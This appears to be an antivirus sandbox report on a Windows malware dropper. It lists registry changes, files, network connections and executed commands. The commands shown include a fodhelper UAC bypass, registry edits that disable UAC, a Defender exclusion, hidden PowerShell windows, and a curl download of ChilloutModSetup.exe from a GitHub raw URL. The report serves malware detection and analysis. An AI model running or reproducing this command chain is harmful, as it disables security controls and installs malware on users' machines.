Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Classes\ms-settings\Shell\Open\command] '' = 'cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f & reg add HKLM\SOFTW...
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %TEMP%\nhbpksry\nhbpksry.0.cs
- %TEMP%\nhbpksry\nhbpksry.cmdline
- %TEMP%\nhbpksry\nhbpksry.out
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %LOCALAPPDATA%\chilloutmodsetup.exe
Deletes following files that it created itself
- %TEMP%\nhbpksry\nhbpksry.0.cs
- %TEMP%\nhbpksry\nhbpksry.out
- %TEMP%\nhbpksry\nhbpksry.cmdline
Network activity
Connects to
- 'ra#.####ubusercontent.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f5##############
Other
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "$hwnd = Get-Process -Id $pid | Select-Object -ExpandProperty MainWindowHandle; if ($hwnd -ne 0) { Add-Type -Name Window -Namespace Console -MemberDefinition '[Dll...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "$hwnd = Get-Process -Id $pid | Select-Object -ExpandProperty MainWindowHandle; if ($hwnd -ne 0) { Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport("user32.dll")]...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static ext...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(I...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\nhbpksry\nhbpksry.cmdline"
- '<SYSTEM32>\cmd.exe' /d /s /c "fsutil dirty query %systemdrive%"
- '<SYSTEM32>\fsutil.exe' dirty query C
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /...
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f & reg add "H...
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe"
- '<SYSTEM32>\fodhelper.exe'
- '<SYSTEM32>\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f & reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPr...
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { $webClient = New-Object System.Net.WebClient $webClient.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb...
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f"
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Classes\ms-settings" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "curl -L -o "%LOCALAPPDATA%\ChilloutModSetup.exe" "https://raw.githubusercontent.com/can964284-glitch/Claudex-dkWlPaokO-6307399770-1769551982906386-B033LX2t/main/ChilloutModSetup.exe""
- '<SYSTEM32>\curl.exe' -L -o "%LOCALAPPDATA%\ChilloutModSetup.exe" "https://raw.githubusercontent.com/can964284-glitch/Claudex-dkWlPaokO-6307399770-1769551982906386-B033LX2t/main/ChilloutModSetup.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\ChilloutModSetup.exe" -ErrorAction Stop Write-Output "SUCCESS" ...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "$hwnd = Get-Process -Id $pid | Select-Object -ExpandProperty MainWindowHandle; if ($hwnd -ne 0) { Add-Type -Name Window -Namespace Console -MemberDefinition '[Dll...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static ext...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\nhbpksry\nhbpksry.cmdline"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "fsutil dirty query %systemdrive%"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "fodhelper.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { $webClient = New-Object System.Net.WebClient $webClient.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "curl -L -o "%LOCALAPPDATA%\ChilloutModSetup.exe" "https://raw.githubusercontent.com/can964284-glitch/Claudex-dkWlPaokO-6307399770-1769551982906386-B033LX2t/main/ChilloutModSetup.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command " try { Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\ChilloutModSetup.exe" -ErrorAction Stop Write-Output "SUCCESS" ...' (with hidden window)
